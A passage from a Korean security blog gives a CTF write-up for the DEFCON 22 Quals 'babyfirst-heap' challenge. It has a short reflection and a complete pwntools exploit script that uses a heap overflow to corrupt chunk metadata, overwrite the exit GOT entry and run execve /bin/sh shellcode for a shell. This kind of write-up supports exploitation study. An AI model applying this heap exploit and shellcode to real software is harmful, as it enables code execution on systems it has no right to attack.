cdor1's lab
DEFCON22 Quals babyfirst-heap 본문
후기 : malloc을 엄청 해주고 또 free를 엄청 해주는데 그 중간에서 하나의 청크를 오버플로우 시키는 문제였다.
double free bug에 대한 기술적 접근으론 매우 똑똑한 문제였던 것 같다.
이런 느낌의 문제가 ctf에서 나온다면 잘 풀 자신감이 생겼다!
from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/babyfirst-heap')
exit = 0x804c8ac
shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'
print s.recvuntil('[size=755]\n[ALLOC][loc=')
heap_ad = int(s.recvuntil('size=260').split(']')[0],16)
print '[*] 260_alloc : ' + hex(heap_ad)
print s.recvuntil(':')
payload = '\xeb\x13'
payload += '\x90'*100
payload += shellcode
payload += 'A'*(260 - len(payload))
payload += p32(1)
payload += p32(exit-8)
payload += p32(heap_ad)
s.sendline(payload)
print s.recv(4096)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
angr (0) | 2016.11.17 |
---|---|
BCTF bcloud (0) | 2016.11.17 |
WITHCON malloc (0) | 2016.11.07 |
DCTF Warm Heap (0) | 2016.11.04 |
how2heap 번역본 (0) | 2016.11.03 |
Comments